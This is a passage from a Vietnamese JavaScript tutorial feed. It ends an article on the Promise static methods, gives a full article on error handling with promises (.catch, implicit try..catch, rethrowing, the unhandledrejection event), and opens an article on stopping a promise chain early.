3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Promise.reject</h3> <p><code>Promise.reject(error)</code> tạo ra một promise bị từ chối với <code>error</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">reject</span><span class="token punctuation">(</span>error<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong thực tế, phương thức này hầu như ít khi được sử dụng.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Có 6 phương thức tĩnh (static) của class <code>Promise</code> là:</p> <ol> <li><code>Promise.all(promises)</code>: đợi tất cả các promise giải quyết và trả về một mảng kết quả của chúng. Nếu bất kỳ promise đã cho nào bị từ chối, kết quả đó sẽ trở thành lỗi của <code>Promise.all</code> và tất cả các kết quả khác sẽ bị bỏ qua.</li> <li><code>Promise.allSettled(promises)</code>(phương thức được thêm gần đây): đợi tất cả các promise giải quyết và trả về kết quả của chúng dưới dạng một mảng đối tượng với: <ul> <li><code>status</code>: <code>"fulfilled"</code> hoặc <code>"rejected"</code></li> <li><code>value</code>(nếu được giải quyết) hoặc <code>reason</code> (nếu bị từ chối).</li> </ul> </li> <li><code>Promise.race(promises)</code>: đợi promise đầu tiên kết thúc, và kết quả / lỗi của promise đó trở thành kết quả.</li> <li><code>Promise.any(promises)</code>(phương thức được thêm gần đây): đợi promise đầu tiên thực hiện thành công và kết quả đó trở thành kết quả. Nếu tất cả các promise đã cho đều bị từ chối, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/AggregateError"><code>AggregateError</code></a> sẽ trở thành lỗi của <code>Promise.any</code>.</li> <li><code>Promise.resolve(value)</code>: tạo một promise đã giải quyết với giá trị <code>value</code> đã cho.</li> <li><code>Promise.reject(error)</code>: tạo một promise bị từ chối với lỗi <code>error</code> đã cho.</li> </ol> <p>Trong số các API trên, có lẽ <code>Promise.all</code> là phổ biến và hay sử dụng nhất trong thực tế.</p> <p>Tham khảo: <a href="https://javascript.info/promise-api">Promise API</a></p>[email protected]<![CDATA[Xử lý lỗi với promise trong JavaScript]]><![CDATA[Chuỗi promise rất hiệu quả trong việc xử lý lỗi. Khi một promise bị từ chối, luồng điều khiển sẽ chuyển đến phần xử lý từ chối gần nhất. Điều đó rất thuận tiện trong thực tế. Ví dụ…]]>https://completejavascript.com/xu-ly-loi-voi-promise-trong-javascript/https://completejavascript.com/xu-ly-loi-voi-promise-trong-javascript/<![CDATA[Promise]]>Wed, 12 Jul 2017 06:00:26 GMT<p><a href="/chuoi-promise-trong-javascript/">Chuỗi promise</a> rất hiệu quả trong việc xử lý lỗi. Khi một promise bị từ chối, luồng điều khiển sẽ chuyển đến phần xử lý từ chối gần nhất. Điều đó rất thuận tiện trong thực tế.</p> <p>Ví dụ với đoạn code bên dưới, URL truyền vào hàm <code>fetch</code> là sai (không có trang web nào như vậy) và <code>.catch</code> xử lý lỗi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">"https://no-such-server.blabla"</span><span class="token punctuation">)</span> <span class="token comment">// rejects vì URL bị sai</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">response</span><span class="token punctuation">)</span> <span class="token operator">=></span> response<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// TypeError: failed to fetch</span></code></pre></div> <p>Như bạn thấy, <code>.catch</code> không nhất thiết phải có ngay lập tức mà có thể sau một hoặc vài lần <code>.then</code>.</p> <p>Hoặc có thể, mọi thứ đều ổn với trang web, nhưng kết quả trả về là một <a href="/tim-hieu-ve-json-trong-javascript/">JSON</a> không hợp lệ. Khi đó, cách dễ nhất để bắt tất cả các lỗi là thêm <code>.catch</code> vào cuối chuỗi promise:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">"/api/user.json"</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">response</span><span class="token punctuation">)</span> <span class="token operator">=></span> response<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">user</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">https://api.github.com/users/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>user<span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">response</span><span class="token punctuation">)</span> <span class="token operator">=></span> response<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token parameter">githubUser</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">let</span> img <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"img"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> img<span class="token punctuation">.</span>src <span class="token operator">=</span> githubUser<span class="token punctuation">.</span>avatar_url<span class="token punctuation">;</span> img<span class="token punctuation">.</span>className <span class="token operator">=</span> <span class="token string">"promise-avatar-example"</span><span class="token punctuation">;</span> document<span class="token punctuation">.</span>body<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>img<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> img<span class="token punctuation">.</span><span class="token function">remove</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">resolve</span><span class="token punctuation">(</span>githubUser<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">3000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>error<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Thông thường, <code>.catch</code> sẽ không kích hoạt. Nhưng nếu bất kỳ promise nào ở trên bị từ chối (sự cố mạng hoặc json không hợp lệ hoặc bất cứ điều gì) thì <code>.catch</code> sẽ bắt được lỗi đó.</p> <h2 id="trycatch-ẩn" style="position:relative;"><a href="#trycatch-%E1%BA%A9n" aria-label="trycatch ẩn permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Try...catch ẩn</h2> <p>Code thực thi của promise và các trình xử lý promise luôn có <a href="/quan-ly-loi-voi-try-catch-trong-javascript/"><code>try..catch</code></a> ẩn xung quanh. Nếu ngoại lệ (exception) xảy ra, lỗi đó sẽ bị bắt bởi <code>.catch</code> và đó coi như một sự từ chối.</p> <p>Ví dụ đoạn code sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Whoops!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span>console<span class="token punctuation">.</span>log<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Error: Whoops!</span></code></pre></div> <p>Hoạt động tương tự như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">reject</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Whoops!"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span>console<span class="token punctuation">.</span>log<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Error: Whoops!</span></code></pre></div> <p>Phần <code>try..catch</code> ẩn xung quanh trình thực thi sẽ tự động bắt lỗi và biến promise trở thành trạng thái bị từ chối.</p> <p>Điều này xảy ra không chỉ trong hàm thực thi mà còn trong các trình xử lý của nó. Nếu bạn <code>throw</code> bên trong một trình xử lý <code>.then</code>, điều đó có nghĩa là một promise bị từ chối. Do đó, luồng điều khiển sẽ chuyển đến trình xử lý lỗi gần nhất - <code>.catch</code> gần nhất.</p> <p>Sau đây là ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token string">"ok"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Whoops!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// từ chối promise</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span>console<span class="token punctuation">.</span>log<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Error: Whoops!</span></code></pre></div> <p>Điều này xảy ra với tất cả các lỗi, không chỉ những lỗi do câu lệnh <code>throw</code>. Ví dụ lỗi lập trình như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token string">"ok"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">aha</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hàm chưa định nghĩa</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span>console<span class="token punctuation">.</span>log<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ReferenceError: aha is not defined</span></code></pre></div> <p>Tóm lại, <code>.catch</code> không chỉ bắt những lời từ chối promise cụ thể, mà còn những lỗi vô tình như trên.</p> <h2 id="rethrowing-khi-có-lỗi" style="position:relative;"><a href="#rethrowing-khi-c%C3%B3-l%E1%BB%97i" aria-label="rethrowing khi có lỗi permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Rethrowing khi có lỗi</h2> <p>Như bạn nhận thấy, <code>.catch</code> ở cuối chuỗi promise tương tự như <code>try..catch</code>. Mình có thể có <strong>nhiều</strong> trình xử lý <code>.then</code> tùy thích và sau đó sử dụng <strong>một</strong> trình xử lý <code>.catch</code> duy nhất ở cuối để bắt lỗi trong tất cả các trường hợp.</p> <p>Ở cấu trúc <code>try..catch</code> thông thường, mình sẽ phân tích lỗi và <code>throw</code> ra lỗi nếu không thể xử lý được. Điều tương tự cũng xảy ra với promise.</p> <p>Nếu bạn <code>throw</code> bên trong <code>.catch</code> thì luồng điều khiển sẽ chuyển đến trình xử lý lỗi gần nhất tiếp theo. Sau đó, giả sử bạn xử lý lỗi và kết thúc bình thường, thì luồng điều khiển sẽ tiếp tục chuyển đến <code>.then</code> gần nhất tiếp theo.</p> <p>Trong ví dụ bên dưới, <code>.catch</code> xử lý lỗi thành công:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// thực hiện catch -> then</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Whoops!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"The error is handled, continue normally"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Next successful handler runs"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ở đây khối <code>.catch</code> kết thúc bình thường. Vì vậy, trình xử lý <code>.then</code> tiếp theo được gọi.</p> <p>Ví dụ sau đây, bạn thấy trường hợp khác với <code>.catch</code>. Trình xử lý tại <code>(*)</code> bắt lỗi và không thể xử lý vì nó chỉ biết cách xử lý lỗi <code>URIError</code>. Vì vậy, <code>throw</code> error một lần nữa:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// thực hiện catch -> catch</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Whoops!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// (*)</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>error <span class="token keyword">instanceof</span> <span class="token class-name">URIError</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// nếu lỗi là URIError thì xử lý nó</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Can't handle such error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">throw</span> error<span class="token punctuation">;</span> <span class="token comment">// lỗi không biết -> throw để xử lý ở catch tiếp</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// không chạy vào đây</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// (**)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">The unknown error has occurred: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>error<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// don't return anything => execution goes the normal way</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Quá trình thực hiện sẽ nhảy từ bước <code>.catch</code> đầu tiên tại <code>(*)</code> sang lần tiếp theo tại <code>(**)</code>.</p> <h2 id="từ-chối-promise-mà-không-xử-lý" style="position:relative;"><a href="#t%E1%BB%AB-ch%E1%BB%91i-promise-m%C3%A0-kh%C3%B4ng-x%E1%BB%AD-l%C3%BD" aria-label="từ chối promise mà không xử lý permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Từ chối promise mà không xử lý</h2> <p>Điều gì xảy ra khi lỗi không được xử lý?</p> <p>Ví dụ, mình quên thêm <code>.catch</code> vào cuối chuỗi promise, như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">noSuchFunction</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// lỗi hàm chưa định nghĩa</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// trình xử lý promise thành công</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// không có .catch ở cuối</span></code></pre></div> <p>Trường hợp có lỗi, promise bị từ chối và việc thực thi sẽ chuyển đến <code>.catch</code> gần nhất. Nhưng không có. Vì vậy, lỗi bị <strong>kẹt</strong>, không có đoạn code nào xử lý lỗi.</p> <p>Thực tế, giống như với các lỗi thông thường trong code, điều đó có nghĩa là một điều gì đó đã có lỗi sai nghiêm trọng.</p> <p>Điều gì xảy ra khi một lỗi thường xuyên xuất hiện và không được bắt bởi <code>try..catch</code>?</p> <p>Chương trình sẽ bị <strong>crash</strong> với một thông báo trong <a href="/dev-tools-la-gi/">DevTool</a>. Điều tương tự cũng xảy ra với những promise bị từ chối mà không được catch.</p> <p>JavaScript engine theo dõi những từ chối promise như vậy và tạo ra <strong>lỗi toàn cục</strong>. Bạn có thể thấy trong console nếu chạy ví dụ trên.</p> <p>Trong trình duyệt, bạn có thể thấy các lỗi như vậy bằng cách dùng sự kiện <code>unhandledrejection</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"unhandledrejection"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// object event có hai thuộc tính đặc biệt là promise và reason.</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>event<span class="token punctuation">.</span>promise<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [object Promise] - promise sinh ra lỗi</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>event<span class="token punctuation">.</span>reason<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Error: Whoops! - error object chưa được bắt</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Whoops!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// không có catch để bắt lỗi</span></code></pre></div> <p>Nếu lỗi xảy ra và không có <code>.catch</code>, trình xử lý <code>unhandledrejection</code> sẽ kích hoạt và lấy đối tượng <code>event</code> chứa thông tin về lỗi. Sau đó, bạn có thể làm điều gì đó.</p> <p>Thông thường, những lỗi như vậy là <strong>không thể khôi phục được</strong>. Do đó, cách tốt nhất là thông báo cho người dùng về sự cố và có thể báo cáo sự cố cho máy chủ.</p> <p>Trong các môi trường không phải trình duyệt như Node.js, có nhiều cách khác để theo dõi các lỗi chưa được khắc phục.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <ul> <li><code>.catch</code> xử lý lỗi trong tất cả các loại promise: có thể là lời gọi <code>reject()</code> hoặc lỗi được đưa ra trong một trình xử lý.</li> <li>Bạn nên đặt chính xác <code>.catch</code> tại những nơi mà bạn muốn xử lý lỗi và biết cách xử lý. Trình xử lý nên phân tích lỗi và <code>throw</code> ra những lỗi chưa biết.</li> <li>Nếu không có cách nào để khôi phục sau lỗi, bạn có thể không cần dùng <code>.catch</code>.</li> <li>Trong mọi trường hợp, bạn nên có trình xử lý sự kiện <code>unhandledrejection</code> (đối với trình duyệt và các môi trường tương tự khác) để theo dõi các lỗi chưa được khắc phục và thông báo cho người dùng (hoặc có thể là máy chủ của mình), để chương trình không bao giờ <strong>chết</strong>.</li> </ul> <p>Tham khảo: <a href="https://javascript.info/promise-error-handling">Error handling with promises</a></p>[email protected]<![CDATA[Kết thúc sớm Promise chaining trong JavaScript]]><![CDATA[Có thể bạn đã quen với việc sử dụng Promise để xử lý bất đồng bộ trong JavaScript. Tuy nhiên, trong trường hợp thực hiện nhiều Promise liên tiếp nhau (Promise chaining) mà bạn muốn…]]>https://completejavascript.com/ket-thuc-som-promise-chaining-trong-javascript/https://completejavascript.com/ket-thuc-som-promise-chaining-trong-javascript/<![CDATA[Promise]]>Tue, 11 Jul 2017 06:00:26 GMT<p>Có thể bạn đã quen với việc sử dụng <a href="/promise-la-gi-promise-trong-javascript/">Promise</a> để xử lý bất đồng bộ trong JavaScript. Tuy nhiên, trong trường hợp thực hiện nhiều Promise liên tiếp nhau (<a href="/chuoi-promise-trong-javascript/">Promise chaining</a>) mà bạn muốn dừng giữa chừng thì sao? Hay nói cách khác là làm sao để kết thúc sớm Promise chaining trong JavaScript?</p> <h2 id="bài-toán-thực-tế" style="position:relative;"><a href="#b%C3%A0i-to%C3%A1n-th%E1%BB%B1c-t%E1%BA%BF" aria-label="bài toán thực tế permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài toán thực tế</h2> <p>Thử xét một bài toán thực tế khi mà việc kết thúc sớm Promise chaining là cần thiết. Đó là khi triển khai API để đăng ký User qua Email. Mình có thể tóm tắt lại các bước thực hiện như 